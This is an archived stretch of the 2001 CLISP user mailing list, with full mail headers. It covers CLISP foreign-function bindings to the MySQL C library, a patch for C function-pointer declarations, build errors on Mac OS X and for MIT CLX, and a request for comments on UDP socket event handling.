clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <005c01c0eeca$1eae2e70$4381fb18@CX417245D> > * On the subject of "Re: [clisp-list] Re: clisp ffi" > * Sent on Wed, 6 Jun 2001 13:48:45 -0700 > * Honorable "Eric de Groot" writes: > > Ok, I tried the patch you sent me, but now I get parens around > everything I use c-ptr with. Only function pointers need the parens. please send an example and then remove the patch. ;-) also, since in C int (*f) (); and int f() are equivalent, you can just write (error_handler (c-function)) > (def-c-call-out mysql_init (:arguments (mysql (c-ptr st_mysql))) > (:return-type (c-ptr st_mysql))) > > Also, you can see above, it's still not doing the arguments, I just > get mysql_init(). this should not be a problem as C does not require full prototypes. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Are you smart enough to use Lisp? From eric@ericdegroot.com Wed Jun 06 17:25:21 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 157nc0-0004u1-00 for ; Wed, 06 Jun 2001 17:25:20 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id RAA09580; Wed, 6 Jun 2001 17:25:15 -0700 (PDT) Message-ID: <011401c0eee8$9312f390$4381fb18@CX417245D> From: "Eric de Groot" To: Cc: References: <010901c0eb25$95f320b0$4381fb18@CX417245D><00e701c0ee78$091f8240$4381fb18@CX417245D> <005c01c0eeca$1eae2e70$4381fb18@CX417245D> Subject: Re: [clisp-list] Re: clisp ffi Date: Wed, 6 Jun 2001 17:27:02 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam- in C, int (*f)(); and int f(); are not equivalent. I'm trying to declare a function pointer as a member of a structure, like: struct mystruct { int (*f)(); }; you cannot write: struct mystruct { int f(); } this would work in c++ if mystruct::f() {} was defined elsewhere, but even then it's still not a function pointer. Excuse me if you already know this, but just to make sure we are both clear on function pointers.. with function pointers you can do this: struct mystruct { int (*f)(); }; int a() { printf("aaaa"); } int b() { printf("bbbb"); } struct mystruct mystructinst; mystructinst.f = &a; (*mystructinst.f)(); mystructinst.f = &b; (*mystructinst.f)(); which will result in a call to a(), then b() and print out: aaaabbbb. the declation of the function pointer itself has to look like (*)( please send an example and then remove the patch. ;-) > > also, since in C > int (*f) (); > and > int f() > are equivalent, you can just write > (error_handler (c-function)) > > > (def-c-call-out mysql_init (:arguments (mysql (c-ptr st_mysql))) > > (:return-type (c-ptr st_mysql))) > > > > Also, you can see above, it's still not doing the arguments, I just > > get mysql_init(). > > this should not be a problem as C does not require full prototypes. > > -- > Sam Steingold (http://www.podval.org/~sds) > Support Israel's right to defend herself! > Read what the Arab leaders say to their people on > Are you smart enough to use Lisp? > > From rwts@mac.com Wed Jun 06 19:29:28 2001 Received: from granger.mail.mindspring.net ([207.69.200.148]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 157pY8-0003Mq-00 for ; Wed, 06 Jun 2001 19:29:28 -0700 Received: from [158.252.48.57] (sdn-ar-001nypougP097.dialsprint.net [158.252.48.57]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id WAA24478; Wed, 6 Jun 2001 22:29:19 -0400 (EDT) Mime-Version: 1.0 X-Sender: rwts@mail.mac.com Message-Id: Date: Wed, 6 Jun 2001 22:28:13 -0400 To: clisp-list@lists.sourceforge.net From: call -151 Content-Type: text/plain; charset="us-ascii" Subject: [clisp-list] OS X install questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I'm trying to get clisp installed under OS X. I have the source clisp version 2.26, dated 2001-05-23 07:32 At first, I kept core dumping until I figured out to increase the stacksize with limit stacksize 8192 kbytes and now the configuration script it gets much further, but stops dead during the compilation with: Compiling file /Users/cleary/clisp-2.26/src/foreign1.lisp ... *** - There is no package with name "FFI" make: *** [foreign1.fas] Error 1 Any ideas? Has anyone got clisp working well under Mac OS X? I tried a binary distro of 2.25.1 earlier but wasn't able to get that working due to hard-coded directory info in the makefile that I couldn't seem to straighten out as well as some initmem problems. I saw that there were comments in the list archive about FFI but none of them seemed similar enough to be useful. It might be worth mentioning in the install about increasing the stacksize for OS X since for some reason the default seems to be set pretty small. Thanks, -Sean Cleary. From amoroso@mclink.it Thu Jun 07 00:24:21 2001 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 157u9U-0001xL-00 for ; Thu, 07 Jun 2001 00:24:20 -0700 Received: from net145-027.mclink.it (net145-027.mclink.it [195.110.145.27]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id f577OFJ00652 for ; Thu, 7 Jun 2001 09:24:16 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Date: Thu, 07 Jun 2001 09:23:58 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Error building MIT CLX under Linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: With CLISP versions before 2.26, but I haven't tried 2.25, besides the base and full images (with NCLX) I also built a base image with MIT CLX. After building and installing the first two images from the source distribution, I moved to modules/clx/mit-clx and run make on Makefile.clisp, possibly setting the value of `prefix' in the makefile. I have tried doing the same with CLISP 2.26 (released 2001-05-23, built 3200841159) under Red Hat Linux 6.2. The base and full (with NCLX) images are correctly built, and the system passes both `make test' and `make testsuite'. Here are the configuration options: --prefix=/usr/local/clisp --with-readline --with-gettext --with-dynamic-ffi --with-export-syscalls --with-module-wildcard --with-module-regexp --with-module=bindings/linuxlibc6 But when I run make in modules/clx/mit-clx, compilation aborts with the error: [~/clisp-2.26/modules/clx/mit-clx]$ make -f Makefile.clisp clisp -q -c defsystem ;; Loading file /home/paolo/.clisprc ... ;; Loading of file /home/paolo/.clisprc is finished. Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/defsystem.lisp ... WARNING in function COMPILE-CLX in lines 47..452 : variable COMPILE-C is not used. Misspelled or missing IGNORE declaration? Compilation of file /home/paolo/clisp-2.26/modules/clx/mit-clx/defsystem.lisp is finished. 0 errors, 1 warning clisp -m 4MB -q -i defsystem -x '(compile-clx)' ;; Loading file /home/paolo/.clisprc ... ;; Loading of file /home/paolo/.clisprc is finished. ;; Loading file /home/paolo/clisp-2.26/modules/clx/mit-clx/defsystem.fas ... ;; Loading of file /home/paolo/clisp-2.26/modules/clx/mit-clx/defsystem.fas is finished. ;;; Default paths: #P"" #P"" Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/package.lisp ... Compilation of file /home/paolo/clisp-2.26/modules/clx/mit-clx/package.lisp is finished. 0 errors, 0 warnings ;; Loading file /home/paolo/clisp-2.26/modules/clx/mit-clx/package.fas ... ;; Loading of file /home/paolo/clisp-2.26/modules/clx/mit-clx/package.fas is finished. Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/depdefs.lisp ... Compilation of file /home/paolo/clisp-2.26/modules/clx/mit-clx/depdefs.lisp is finished. The following functions were used but not defined: MAKE-PROCESS-LOCK 0 errors, 0 warnings ;; Loading file /home/paolo/clisp-2.26/modules/clx/mit-clx/depdefs.fas ... ;; Loading of file /home/paolo/clisp-2.26/modules/clx/mit-clx/depdefs.fas is finished. Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/clx.lisp ... *** - BOOLEAN is a built-in type and may not be redefined. make: *** [stamp.fas] Error 1 Here is the clx.lisp line that defines type BOOLEAN: (deftype boolean () '(or null (not null))) Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From eric@ericdegroot.com Thu Jun 07 04:13:59 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 157xji-0000w5-00 for ; Thu, 07 Jun 2001 04:13:58 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id EAA03504; Thu, 7 Jun 2001 04:11:25 -0700 (PDT) Message-ID: <01e401c0ef42$d9a05fa0$4381fb18@CX417245D> From: "Eric de Groot" To: Cc: References: <010901c0eb25$95f320b0$4381fb18@CX417245D><00e701c0ee78$091f8240$4381fb18@CX417245D> <005c01c0eeca$1eae2e70$4381fb18@CX417245D> Subject: Re: [clisp-list] Re: clisp ffi Date: Thu, 7 Jun 2001 04:13:05 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam- Ok, I was having more problems with the c code in callmysql.c generated by: ./clisp-link add-module-set mysql base base+mysql It kept telling me the structs generated were incompatible with the structs in mysql.h. I checked the sizeof() of everything, and everything matched up perfectly between the structs in mysql.h and the structs clisp generated.. So i finally just deleted all the prototypes and structures clisp generates and let it use the prototypes and structs from mysql.h, works great. Why couldn't you just do this in the first place instead of having it generate duplicate prototypes and structures? Anyways, with that I was able to finally talk to mysql!! very exciting after all this;) I'm having another problem now with the following though: (let ((conn (MYSQL::mysql_init nil))) (MYSQL::mysql_connect conn "localhost" "root" "") (MYSQL::mysql_get_server_info conn)) gives me: NIL (let ((conn (MYSQL::mysql_init nil))) (let ((conn (MYSQL::mysql_connect conn "localhost" "root" ""))) (MYSQL::mysql_get_server_info conn))) gives me exactly what i want: "3.22.32-log" in the first example, why is conn not being modified by mysql_connect? The second example works because mysql_connect both modifies the st_mysql structure you pass it, and on a successful connection the the database server, also returns it, otherwise returns null on failure. In C, just doing: mysql_connect( conn, "localhost", "root", NULL ); would be fine. The only thing I would use the returned struct for was error checking: if ( mysql_connect( conn, "localhost", "root", NULL ) == NULL ) { /* error handling.. */ } With CLISP, when you pass a var to a c-ptr argument, do you have to do something special to allow it to be modified by the function you passed it to? Thanks. -Eric de Groot mailto:eric@ericdegroot.com From eric@ericdegroot.com Thu Jun 07 04:42:16 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 157yB4-0006im-00 for ; Thu, 07 Jun 2001 04:42:14 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id EAA07095; Thu, 7 Jun 2001 04:40:15 -0700 (PDT) Message-ID: <000901c0ef46$debe8170$4381fb18@CX417245D> From: "Eric de Groot" To: Cc: References: <010901c0eb25$95f320b0$4381fb18@CX417245D><00e701c0ee78$091f8240$4381fb18@CX417245D> <005c01c0eeca$1eae2e70$4381fb18@CX417245D> Subject: Re: [clisp-list] Re: clisp ffi Date: Thu, 7 Jun 2001 04:41:55 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam- Ok, I was just studying the lisp from the postgresql bindings in the modules directory some more and it just clicked. Through the entire they whoever wrote just used c-pointer, rather than defining all the structs and everything. This will work for my mysql bindings aswell because mysql has accessor functions for all the data needed from the structures. I don't need the details. Damn, I wish I noticed this earlier! Anyways, changing everything to either c-pointer or (c-ptr-null nil) works!! so far atleast;) -Eric de Groot mailto:eric@ericdegroot.com From eric@ericdegroot.com Thu Jun 07 05:31:21 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 157ywZ-0001gr-00 for ; Thu, 07 Jun 2001 05:31:19 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id FAA13777; Thu, 7 Jun 2001 05:29:28 -0700 (PDT) Message-ID: <001701c0ef4d$bbb27950$4381fb18@CX417245D> From: "Eric de Groot" To: Cc: References: <010901c0eb25$95f320b0$4381fb18@CX417245D><00e701c0ee78$091f8240$4381fb18@CX417245D> <005c01c0eeca$1eae2e70$4381fb18@CX417245D> Date: Thu, 7 Jun 2001 05:31:04 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [clisp-list] clisp ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: More questions! I'm having a problem with number type conversions, I have the following two C functions: int myintfun() { return 11; } unsigned long long myulonglongfun() { return 11; } For the FFI lisp I have, respectively: (def-c-call-out myintfun (:return-type int)) (def-c-call-out myulonglongfun (:return-type uint64)) 'unsigned long long' is 8 bytes unsigned. uint64 is the only unsigned 8 byte type you have listed in the FFI docs. Anyways, after loading clisp up with bindings for these, calling them gives me: (MYSTUFF::myintfun) 11 (MYSTUFF::myulonglongfun) 52 (MYSTUFF::myulonglongfun) 0 it just gives a trash random number. Any ideas why?? Thanks. -Eric de Groot mailto:eric@ericdegroot.com From sds@gnu.org Thu Jun 07 10:26:36 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1583YJ-00071R-00 for ; Thu, 07 Jun 2001 10:26:36 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA23879; Thu, 7 Jun 2001 13:26:29 -0400 (EDT) X-Envelope-To: To: call -151 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] OS X install questions References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 07 Jun 2001 13:23:25 -0400 Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] OS X install questions" > * Sent on Wed, 6 Jun 2001 22:28:13 -0400 > * Honorable call -151 writes: > > source clisp version 2.26, dated 2001-05-23 07:32 > > Compiling file /Users/cleary/clisp-2.26/src/foreign1.lisp ... > *** - There is no package with name "FFI" > make: *** [foreign1.fas] Error 1 please get the patch clisp-2.26-bug5-no-ffi.diff the same place you got the sources. thanks for reporting the bug. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on If a train station is a place where a train stops, what's a workstation? From sds@gnu.org Thu Jun 07 10:43:54 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1583p4-0003H3-00 for ; Thu, 07 Jun 2001 10:43:54 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA26987; Thu, 7 Jun 2001 13:43:51 -0400 (EDT) X-Envelope-To: To: Paolo Amoroso Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Error building MIT CLX under Linux References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 07 Jun 2001 13:40:45 -0400 Message-ID: Lines: 17 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Error building MIT CLX under Linux" > * Sent on Thu, 07 Jun 2001 09:23:58 +0200 > * Honorable Paolo Amoroso writes: > > Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/clx.lisp ... > *** - BOOLEAN is a built-in type and may not be redefined. > make: *** [stamp.fas] Error 1 thanks - fixed. get the patch in the same place as sources or do cvs up -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Sufficiently advanced stupidity is indistinguishable from malice. From sds@gnu.org Thu Jun 07 10:55:22 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15840A-0006yA-00 for ; Thu, 07 Jun 2001 10:55:22 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA29047; Thu, 7 Jun 2001 13:55:15 -0400 (EDT) X-Envelope-To: To: "Eric de Groot" Cc: Subject: Re: [clisp-list] Re: clisp ffi References: <010901c0eb25$95f320b0$4381fb18@CX417245D> <00e701c0ee78$091f8240$4381fb18@CX417245D> <005c01c0eeca$1eae2e70$4381fb18@CX417245D> <011401c0eee8$9312f390$4381fb18@CX417245D> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <011401c0eee8$9312f390$4381fb18@CX417245D> Date: 07 Jun 2001 13:52:09 -0400 Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <011401c0eee8$9312f390$4381fb18@CX417245D> > * On the subject of "Re: [clisp-list] Re: clisp ffi" > * Sent on Wed, 6 Jun 2001 17:27:02 -0700 > * Honorable "Eric de Groot" writes: > > in C, int (*f)(); and int f(); are not equivalent. year - I got it mixed up with the fact that you can write, say, "sin" instead of "&sin" for the address of the functions "double sin(double)". please apply this patch to foreign1.lisp and try again. your help is greatly appreciated. @@ -601,7 +546,17 @@ ((c-ptr c-ptr-null c-array-ptr) (to-c-typedecl (svref c-type 1) (format nil "* ~A" name))) (c-function - (to-c-typedecl (svref c-type 1) (format nil "~A ()" name))) + (to-c-typedecl (svref c-type 1) + (format nil "(~A) (~{~A~^,~})" name + (do ((ii 0 (+ 2 ii)) ret + (arg (gensym "arg"))) + ((= (length (svref c-type 2)) ii) + (nreverse ret)) + (push (to-c-typedecl + (svref (svref c-type 2) ii) + (format nil "~a_~d" + arg (/ ii 2))) + ret))))) (t (error (ENGLISH "illegal foreign data type ~S") c-type)))))))) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on God had a deadline, so He wrote it all in Lisp. From frodef@acm.org Thu Jun 07 12:40:48 2001 Received: from dslab7.cs.uit.no ([129.242.16.27]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.22 #1 (Debian)) id 1585eA-0003H8-00 for ; Thu, 07 Jun 2001 12:40:47 -0700 Received: (from frodef@localhost) by dslab7.cs.uit.no (8.11.3/8.11.0) id f57JegJ65361; Thu, 7 Jun 2001 21:40:42 +0200 (CEST) (envelope-from frodef@acm.org) X-Authentication-Warning: dslab7.cs.uit.no: frodef set sender to frodef@acm.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> <2hd78q8ici.fsf@dslab7.cs.uit.no> <15126.35438.198433.110280@isis.compsvcs.com> From: Frode Vatvedt Fjeld Date: 07 Jun 2001 21:40:11 +0200 In-Reply-To: don-sourceforge@isis.compsvcs.com's message of "Thu, 31 May 2001 11:16:14 -0700 (PDT)" Message-ID: <2hwv6o3wpw.fsf@dslab7.cs.uit.no> Lines: 22 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I've been looking a bit into the issue of creating a reasonable lisp interface to UDP sockets. In my opinion, such an interface should include some sort of event dispatch facility (i.e. a unix select kind of thing). From what I've read of clisp documentation, there is no existing event model in clisp. For example, SOCKET:SOCKET-WAIT only waits for a single socket. So this is a request for comments or advice on this issue. How should/could synchronization to several (kinds of) sockets be implemented? And how come the socket streams extension is not present in my clisp, taken from either FreeBSD or NetBSD's packages? [1]> (socket:socket-server) *** - READ from # #>: there is no package with name "SOCKET" 1. Break [2]> -- Frode Vatvedt Fjeld From eric@ericdegroot.com Thu Jun 07 13:00:50 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1585xS-0007zo-00 for ; Thu, 07 Jun 2001 13:00:42 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id NAA22370; Thu, 7 Jun 2001 13:00:30 -0700 (PDT) Message-ID: <003e01c0ef8c$c21ffcb0$4381fb18@CX417245D> From: "Eric de Groot" To: Cc: References: <010901c0eb25$95f320b0$4381fb18@CX417245D><00e701c0ee78$091f8240$4381fb18@CX417245D> <005c01c0eeca$1eae2e70$4381fb18@CX417245D> <011401c0eee8$9312f390$4381fb18@CX417245D> Subject: Re: [clisp-list] Re: clisp ffi Date: Thu, 7 Jun 2001 13:02:09 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam- Ok thanks, that last patch worked. I can do everything without having to manually edit any files. Excellent. Do you have any ideas about my other questions? If I define all the c structs in lisp and use them as the types in my def-c-call-outs rather than just using c-pointer, I cannot do the following: (let ((conn (MYSQL::mysql_init nil))) (MYSQL::mysql_connect conn "localhost" "root" "") (MYSQL::mysql_get_server_info conn)) NIL I have to do: (let ((conn (MYSQL::mysql_init nil))) (let ((conn (MYSQL::mysql_connect conn "localhost" "root" ""))) (MYSQL::mysql_get_server_info conn))) "3.22.32-log" Here are the def-c-callouts using the structs used in the first example: (def-c-call-out mysql_init (:arguments (mysql (c-ptr-null st_mysql))) (:return-type (c-ptr-null st_mysql))) (def-c-call-out mysql_get_server_info (:arguments (mysql (c-ptr-null st_mysql))) (:return-type c-string)) (def-c-call-out mysql_connect (:arguments (mysql (c-ptr-null st_mysql)) (host c-string) (user c-string) (passwd c-string)) (:return-type (c-ptr-null st_mysql))) and heres how I redefined them to use c-pointer, which works, as seen in the above second example: (def-c-call-out mysql_init (:arguments (mysql (c-ptr-null nil))) (:return-type c-pointer)) (def-c-call-out mysql_get_server_info (:arguments (mysql c-pointer)) (:return-type c-string)) (def-c-call-out mysql_connect (:arguments (mysql c-pointer) (host c-string) (user c-string) (passwd c-string)) (:return-type c-pointer)) How can I get the pointers to work in the second example? -Eric de Groot mailto:eric@ericdegroot.com From miles@www.invert.com Thu Jun 07 13:07:51 2001 Received: from invert.com ([209.164.21.15] helo=www.invert.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 15864N-0000eh-00 for ; Thu, 07 Jun 2001 13:07:51 -0700 Received: (from miles@localhost) by www.invert.com (8.10.1/8.10.1AA) id f57K7nA11868; Thu, 7 Jun 2001 13:07:49 -0700 (PDT) (envelope-from miles) Date: Thu, 7 Jun 2001 13:07:49 -0700 From: Miles Egan To: Frode Vatvedt Fjeld Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams Message-ID: <20010607130749.A11767@caddr.com> References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> <2hd78q8ici.fsf@dslab7.cs.uit.no> <15126.35438.198433.110280@isis.compsvcs.com> <2hwv6o3wpw.fsf@dslab7.cs.uit.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <2hwv6o3wpw.fsf@dslab7.cs.uit.no>; from frodef@acm.org on Thu, Jun 07, 2001 at 09:40:11PM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Thu, Jun 07, 2001 at 09:40:11PM +0200, Frode Vatvedt Fjeld wrote: > I've been looking a bit into the issue of creating a reasonable lisp > interface to UDP sockets. In my opinion, such an interface should > include some sort of event dispatch facility (i.e. a unix select kind > of thing). From what I've read of clisp documentation, there is no > existing event model in clisp. For example, SOCKET:SOCKET-WAIT only > waits for a single socket. > > So this is a request for comments or advice on this issue. How > should/could synchronization to several (kinds of) sockets be > implemented? I think the Unix model is pretty good here. Something like select? -- miles From sds@gnu.org Thu Jun 07 14:00:31 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1586tL-0002d2-00 for ; Thu, 07 Jun 2001 14:00:31 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA05120; Thu, 7 Jun 2001 17:00:27 -0400 (EDT) X-Envelope-To: To: Frode Vatvedt Fjeld Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] UDP network streams References: <2hbsocb4gv.fsf@dslab7.cs.uit.no> <2hy9rg9bam.fsf@dslab7.cs.uit.no> <2h8zjfaebj.fsf@dslab7.cs.uit.no> <2hd78q8ici.fsf@dslab7.cs.uit.no> <15126.35438.198433.110280@isis.compsvcs.com> <2hwv6o3wpw.fsf@dslab7.cs.uit.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2hwv6o3wpw.fsf@dslab7.cs.uit.no> Date: 07 Jun 2001 16:57:13 -0400 Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: 